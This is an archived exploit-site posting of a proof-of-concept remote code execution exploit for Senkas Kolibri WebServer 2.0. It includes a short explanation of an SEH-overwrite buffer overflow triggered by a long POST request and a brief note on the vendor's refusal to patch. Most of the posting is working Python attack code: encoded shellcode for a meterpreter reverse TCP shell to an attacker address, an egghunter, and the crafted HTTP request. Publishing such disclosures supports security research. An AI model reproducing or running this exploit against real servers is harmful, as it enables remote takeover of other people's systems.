what you don't know can hurt you

Senkas Kolibri WebServer 2.0 Buffer Overflow

Senkas Kolibri WebServer 2.0 Buffer Overflow
Posted Aug 18, 2014
Authored by tekwizz123

Senkas Kolibri WebServer version 2.0 is vulnerable to remote code execution via an overly long POST request. Sending the exploit will result in a SEH overwrite, which can then be use to redirect execution to a POP POP RET within the application's binary itself, which once executed, will allow the attacker to execute his/her payload located in the HOST field.

tags | exploit, remote, code execution
advisories | CVE-2010-5301, CVE-2014-4158, CVE-2014-5289
MD5 | fa56bc900cea66a637b797eb3aa7af56

Senkas Kolibri WebServer 2.0 Buffer Overflow

Change Mirror Download
Exploit Details
------------------
Senkas Kolibri WebServer 2.0 (available at http://www.senkas.com/kolibri/download.php) is vulnerable to RCE via an overly long POST request.

Sending the exploit will result in a SEH overwrite, which can then be use to redirect execution to a POP POP RET within the application's binary itself, which once executed, will allow the attacker to execute his/her payload located in the HOST field.

PoC
---------------
A PoC of this exploit follows. This will result in a meterpreter reverse tcp shell to 192.168.62.129 on port 4444. The exploit currently also bypasses ASLR by overwriting the SEH handler with an address from the binary itself. The offset in this exploit was confirmed to work on a Windows 7 Professional machine, fully updated as of August 5th, 2014:

PoC Code
----------------------------------
#!/bin/python
import socket

#[*] x86/alpha_mixed succeeded with size 636 (iteration=1)
buf = "\x45\x44\x44\x43\x45\x44\x44\x43" # TAG
buf += "\x89\xe5\xda\xdd\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x69\x78\x6e"
buf += "\x66\x53\x30\x35\x50\x73\x30\x75\x30\x6d\x59\x4a\x45"
buf += "\x35\x61\x4e\x32\x33\x54\x6c\x4b\x31\x42\x66\x50\x6c"
buf += "\x4b\x62\x72\x34\x4c\x6c\x4b\x73\x62\x52\x34\x6e\x6b"
buf += "\x72\x52\x61\x38\x46\x6f\x6c\x77\x51\x5a\x66\x46\x45"
buf += "\x61\x59\x6f\x54\x71\x79\x50\x4c\x6c\x75\x6c\x50\x61"
buf += "\x51\x6c\x65\x52\x34\x6c\x47\x50\x6f\x31\x4a\x6f\x64"
buf += "\x4d\x57\x71\x6b\x77\x4a\x42\x7a\x50\x36\x32\x71\x47"
buf += "\x6e\x6b\x56\x32\x36\x70\x4c\x4b\x53\x72\x55\x6c\x4c"
buf += "\x4b\x50\x4c\x42\x30\x33\x48\x4b\x53\x32\x6a\x56\x61"
buf += "\x4a\x71\x50\x51\x4c\x4b\x43\x69\x67\x50\x47\x71\x79"
buf += "\x43\x6c\x4b\x31\x59\x62\x38\x68\x63\x77\x4c\x51\x59"
buf += "\x6e\x6b\x75\x64\x6c\x4b\x36\x61\x6b\x66\x44\x71\x49"
buf += "\x6f\x55\x61\x69\x50\x4e\x4c\x4b\x71\x38\x4f\x46\x6d"
buf += "\x37\x71\x78\x47\x65\x68\x39\x70\x34\x35\x7a\x54\x47"
buf += "\x73\x73\x4d\x79\x68\x37\x4b\x33\x4d\x64\x64\x70\x75"
buf += "\x6a\x42\x56\x38\x6c\x4b\x72\x78\x75\x74\x53\x31\x4e"
buf += "\x33\x50\x66\x4c\x4b\x54\x4c\x70\x4b\x6c\x4b\x36\x38"
buf += "\x65\x4c\x33\x31\x4e\x33\x4e\x6b\x67\x74\x4c\x4b\x76"
buf += "\x61\x48\x50\x6f\x79\x71\x54\x51\x34\x34\x64\x43\x6b"
buf += "\x71\x4b\x73\x51\x53\x69\x32\x7a\x42\x71\x79\x6f\x4d"
buf += "\x30\x42\x78\x43\x6f\x51\x4a\x6c\x4b\x37\x62\x58\x6b"
buf += "\x6d\x59\x31\x4d\x45\x38\x70\x33\x74\x72\x63\x30\x67"
buf += "\x70\x75\x38\x70\x77\x33\x43\x46\x52\x31\x4f\x42\x74"
buf += "\x70\x68\x62\x6c\x63\x47\x65\x76\x56\x67\x6b\x4f\x4b"
buf += "\x65\x6c\x78\x6e\x70\x76\x61\x45\x50\x37\x70\x45\x79"
buf += "\x49\x54\x76\x34\x70\x50\x65\x38\x76\x49\x4b\x30\x52"
buf += "\x4b\x45\x50\x49\x6f\x4b\x65\x46\x30\x50\x50\x70\x50"
buf += "\x76\x30\x37\x30\x42\x70\x47\x30\x42\x70\x71\x78\x48"
buf += "\x6a\x76\x6f\x4b\x6f\x49\x70\x39\x6f\x59\x45\x5a\x37"
buf += "\x50\x6a\x63\x35\x71\x78\x4f\x30\x6f\x58\x65\x6e\x4f"
buf += "\x71\x75\x38\x65\x52\x43\x30\x36\x71\x53\x6c\x6c\x49"
buf += "\x4d\x36\x73\x5a\x44\x50\x43\x66\x43\x67\x32\x48\x6a"
buf += "\x39\x49\x35\x62\x54\x63\x51\x59\x6f\x78\x55\x4f\x75"
buf += "\x59\x50\x42\x54\x36\x6c\x6b\x4f\x32\x6e\x65\x58\x72"
buf += "\x55\x7a\x4c\x30\x68\x38\x70\x58\x35\x6f\x52\x33\x66"
buf += "\x6b\x4f\x58\x55\x70\x6a\x35\x50\x72\x4a\x76\x64\x63"
buf += "\x66\x50\x57\x53\x58\x66\x62\x78\x59\x68\x48\x43\x6f"
buf += "\x79\x6f\x7a\x75\x6c\x4b\x65\x66\x72\x4a\x73\x70\x65"
buf += "\x38\x65\x50\x34\x50\x67\x70\x37\x70\x73\x66\x32\x4a"
buf += "\x43\x30\x55\x38\x43\x68\x4d\x74\x31\x43\x4b\x55\x39"
buf += "\x6f\x79\x45\x6e\x73\x42\x73\x31\x7a\x75\x50\x32\x76"
buf += "\x76\x33\x43\x67\x51\x78\x56\x62\x49\x49\x39\x58\x61"
buf += "\x4f\x69\x6f\x48\x55\x57\x71\x59\x53\x55\x79\x7a\x66"
buf += "\x4f\x75\x79\x66\x70\x75\x68\x6c\x4a\x63\x41\x41"



egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x45\x44\x44\x43\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

overflow = "A" * 12
overflow += "A" * (790 - len(overflow) - len(egghunter))
overflow += egghunter
overflow += "\xEB\xD9" # This offset seems to work against Windows 7 Professional, fully updated as of August 5th, 2014
overflow += "A" * 2
overflow += "\x50\x45\x62" #SEH overwrite 00624550 aka pop pop ret from the binary itself.

# A lot of this is the same as exploit 34059 from exploit-db


buffer = "POST /" + overflow + " HTTP/1.1\r\n"
buffer += "User-Agent: Wget/1.13.4\r\n"
buffer += "Host: " + buf + "\r\n"
buffer += "Accept: */*\r\n"
buffer += "Connection: Keep-Alive\r\n"
buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
buffer += "Content-Length: 4"
buffer += "\r\n\r\n"
buffer += "licenseID=string&content=string&paramsXML=string"

handle = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
handle.connect(("192.168.62.130", 8080))
handle.send(buffer)
handle.close()

Conclusion
---------------------
Senkas has responded to previous posts about vulnerabilities in this software, namely CVE-2014-4158 which results in RCE via an overly long GET request, and CVE-2010-5301, which results in RCE via an overly long HEAD request, with the statement, "Please note there are number of reported "security vulnerabilities" for Kolibri webserver. So let me clarify that Kolibri+ is not secure and will never be secure for the same reason bicycles don't have airbags."

For this reason I believe it is unlikely that this vulnerability will be patched considering that the other two vulnerabilities remain unpatched to this day.

>From a quick reverse engineering of this target I believe that these three vulnerabilities all occur in the same piece of code that responds to requests for invalid pages, as a record of the invalid page request is stored on the stack, however I did not confirm that this is the case, and this remains to be proven.

Please feel free to question me if you require any more information to replicate this bug or if any part of this is confusing at all.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    7 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close